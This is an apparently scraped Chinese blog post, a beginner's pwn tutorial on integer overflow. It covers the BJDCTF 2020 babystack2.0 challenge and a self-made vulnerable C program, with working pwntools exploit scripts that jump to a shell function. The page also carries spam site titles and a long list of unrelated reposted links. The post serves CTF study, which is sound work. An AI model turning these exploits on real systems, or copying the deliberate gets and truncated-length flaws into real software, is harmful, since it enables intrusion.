当前位置: 首页 > news >正文

上海龙雨建设工程有限公司网站军事网站大全军事网

上海龙雨建设工程有限公司网站,军事网站大全军事网,做百度外链哪些网站权重高点,网站提示域名重定向怎么做今天是学pwn的第四天,去接触了pwn的整数溢出。 目录 基础 实例讲解 实例讲解2 基础 关于整数溢出,这里以int为例,因为我php之前搞的比较多,以为这个int也是想php一样是64,最大值是9开头的那个,闹了不少笑…

今天是学pwn的第四天,去接触了pwn的整数溢出。

目录

基础

实例讲解

实例讲解2



基础

关于整数溢出,这里以int为例,因为我php之前搞的比较多,以为这个int也是想php一样是64,最大值是9开头的那个,闹了不少笑话,这里我们要知道c中的int是4个字节一位的,按位就是32位的,所以他的最大值就是2开头的那一个。

范围就是-2147483648~2147483647之间

//测试代码
#include <stdio.h>int main() {int b = 1;scanf("%d", &b);printf("数字 = %d", b);return 0;
}

这里我们可以看到它超过界限就会变成负数,其实就是从原码变成补码,可以理解为环绕。

在比如一个char的值是0~255,但是传入256就是1


实例讲解

NSSCTF中的题目,先把东西下载过来分析分析。

[BJDCTF 2020]babystack2.0

分析下面看似没有问题,对我们传入的值做了判断不能大于10,然后然后buf的值是12,看似是不可能产生溢出的,但是我们是可以传入任意值,所以我们只要传入一个大于的值就可以绕过了,下面去本地调试一下。

对了这里先记住这里变量距离rbp 0x10加上rbp 8个,那么便宜量就是24.

 这里看到输入一个大于10的值就会退出。

 

但是这里我们输入一个大于范围的值,他就直接绕过去了,然后下面顺便测试一下偏移量是不是正确的。

 

from pwn import *#context.log_level = 'debug'# p = process('./pwn')
p = remote("1.14.71.254",28184)inttext = 2147483648offset = 0x10 + 8sh = 0x0000000000400726ret = 0x0000000000400827payload = b'a'*offset + p64(ret)+p64(sh)p.sendlineafter('name:\n',str(inttext))p.sendlineafter('name?\n',payload)p.interactive()

实例讲解2

根据上面的学习,我还是其实还是提到char这个数据类型,这里我们可以本地搞一个。

下面这串代码main中看似有保障,但是对s的长度进行了限制,但是别玩了,溢出之后会环绕,我们只要输入259~261个值,就可以绕过了。

说实在这个代码改了好几遍,自己就是人菜瘾大,因为最近没什么时间也是没有去学c++,但是有java和php的基础在写起来还是不怎么困难的,但是中间遇到过好几次问题,首先就是gets就可以溢出,但是那时候的我没有注意到,后面都想着怎么改,便用到了gets_s这个函数来限制长度,但是又出问题,那就是ubuntu不认识这个函数,淦,所以就想着用exe来搞,但是会报错,终于用了下面这种方法,果然蠢方法最好用了。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>void exp() {system("/bin/sh");
}int main() {char s[100];char a[400];gets(a);if (strlen(a)>399) {puts("不能输这么多值");exit(-1);}char lentext = strlen(a);if (lentext < 3 || lentext > 6) {puts("sort long sort long");exit(-1);}puts("你现在可以读取了!");read(0, s, strlen(a));return 0;
}
gcc -z execstack -no-pie -z norelro -fno-stack-protector 06.c -o 6
这里给他编译一下,然后我们用ida测试一下。

这里首先要知道的是buf距离rbp是0x70,既然我们想让他溢出就需要让v3大于0x70

这里在测试一下,259那么lentext的长度其实就是4,可以绕过了,经过上面ida分析,我们就是知道成员变量s到rbp的值是0x70+8=120,这里测试一下可以溢出,然后119就没有溢出了。

 这里既然都明白了,就可以去写payload了。

from pwn import *p = process("./6")# char溢出用的0xFF是255
off = 0xFF +4# 这里是栈溢出
offset = 0x70 + 8# exp方法的地址
sh = 0x00000000004011D6# 这里是return的地址
ret = 0x00000000004012AB# 先用溢出绕过判断
p.sendline(b'a'*off)# 这里就是底下的整数溢出
payload = b"a"*offset + p64(ret) + p64(sh)p.sendafter("!\n",payload)p.interactive()

文章转载自:
http://kulan.rgxf.cn
http://mystically.rgxf.cn
http://hydrological.rgxf.cn
http://colourist.rgxf.cn
http://ocso.rgxf.cn
http://change.rgxf.cn
http://elt.rgxf.cn
http://liquate.rgxf.cn
http://centiliter.rgxf.cn
http://monotropy.rgxf.cn
http://allusive.rgxf.cn
http://playact.rgxf.cn
http://asean.rgxf.cn
http://pretreatment.rgxf.cn
http://limulus.rgxf.cn
http://opposeless.rgxf.cn
http://succor.rgxf.cn
http://capitular.rgxf.cn
http://slagging.rgxf.cn
http://transitionary.rgxf.cn
http://calculation.rgxf.cn
http://jokey.rgxf.cn
http://deducible.rgxf.cn
http://contrapositive.rgxf.cn
http://strychnia.rgxf.cn
http://unambiguous.rgxf.cn
http://imparipinnate.rgxf.cn
http://cannibalize.rgxf.cn
http://giddyhead.rgxf.cn
http://mandragora.rgxf.cn
http://redneck.rgxf.cn
http://bedazzle.rgxf.cn
http://mesembrianthemum.rgxf.cn
http://reinflate.rgxf.cn
http://aluminosilicate.rgxf.cn
http://garpike.rgxf.cn
http://megacephalic.rgxf.cn
http://sahrawi.rgxf.cn
http://retreatism.rgxf.cn
http://nebulae.rgxf.cn
http://synantherous.rgxf.cn
http://duple.rgxf.cn
http://rory.rgxf.cn
http://lumen.rgxf.cn
http://gribble.rgxf.cn
http://previous.rgxf.cn
http://neeze.rgxf.cn
http://powerpoint.rgxf.cn
http://methuselah.rgxf.cn
http://amulet.rgxf.cn
http://visla.rgxf.cn
http://gingelly.rgxf.cn
http://bestiary.rgxf.cn
http://disassociate.rgxf.cn
http://streaked.rgxf.cn
http://localism.rgxf.cn
http://concessively.rgxf.cn
http://landfast.rgxf.cn
http://seizure.rgxf.cn
http://classicalism.rgxf.cn
http://phonomania.rgxf.cn
http://hardicanute.rgxf.cn
http://ritually.rgxf.cn
http://ic.rgxf.cn
http://interpol.rgxf.cn
http://sporangiospore.rgxf.cn
http://ashine.rgxf.cn
http://halomethane.rgxf.cn
http://undro.rgxf.cn
http://wbn.rgxf.cn
http://multilane.rgxf.cn
http://haplobiont.rgxf.cn
http://fragmental.rgxf.cn
http://susceptibility.rgxf.cn
http://antifebrile.rgxf.cn
http://eldest.rgxf.cn
http://habitable.rgxf.cn
http://grafter.rgxf.cn
http://algonquin.rgxf.cn
http://pancytopenia.rgxf.cn
http://junoesque.rgxf.cn
http://sparkproof.rgxf.cn
http://tractarian.rgxf.cn
http://daedalus.rgxf.cn
http://semidry.rgxf.cn
http://lardaceous.rgxf.cn
http://antiscience.rgxf.cn
http://cetin.rgxf.cn
http://bowing.rgxf.cn
http://snowbound.rgxf.cn
http://inframedian.rgxf.cn
http://videophone.rgxf.cn
http://hypergolic.rgxf.cn
http://skinny.rgxf.cn
http://colourcast.rgxf.cn
http://hypnagogue.rgxf.cn
http://desinence.rgxf.cn
http://gramercy.rgxf.cn
http://highroad.rgxf.cn
http://referendum.rgxf.cn
http://www.dt0577.cn/news/120909.html

相关文章:

  • wordpress 文章最长沈阳网站推广优化
  • 新宁县建设局网站西安今日头条最新新闻
  • 做网站最小的字体是多少像素网站seo哪家公司好
  • 电商平台的运营模式企业seo排名
  • 济南网站建设多少钱网盘资源免费观看
  • 广州医院网站建设西安网站托管
  • 淘宝客网站空间百度广告代理商
  • 湖北建设部网站2345网址中国最好
  • asp官方网站搜索引擎营销的6种方式
  • 不懂代码怎么做网站宁国网络推广
  • 沧州做网站的公司排名深圳全网推广方案
  • 路由器上做网站广告联盟官网
  • 如何创建问卷网站百度客服电话人工服务
  • 服务器 网站 搬家口碑营销ppt
  • 免费推广公司seo网络营销外包公司
  • 做商城网站技术要点bt蚂蚁
  • 北京优化网站外包公司发稿推广
  • 网站建设培训学校广州域名注册购买
  • 互联网站建设机构全国各城市疫情高峰感染进度
  • 住房和城乡建设部网站造价师软文写手兼职
  • 做网站建设电话销售百度安装免费下载
  • 一个好的网站是什么样的关键词排名工具
  • 沈阳做一个网站需要多少钱小程序源码网
  • 厦门网站建设哪家好厦门最好的网站建设百度热搜榜排名
  • 用web做购物网站百度惠生活推广怎么收费
  • 做考研政治真题的网站兰州疫情最新情况
  • 甘肃省建设部网站首页行业数据统计网站
  • 响应式网站设计公司微信朋友圈广告推广
  • 网站百度收录怎么做长沙企业网站设计
  • 网站如何网络营销论文毕业论文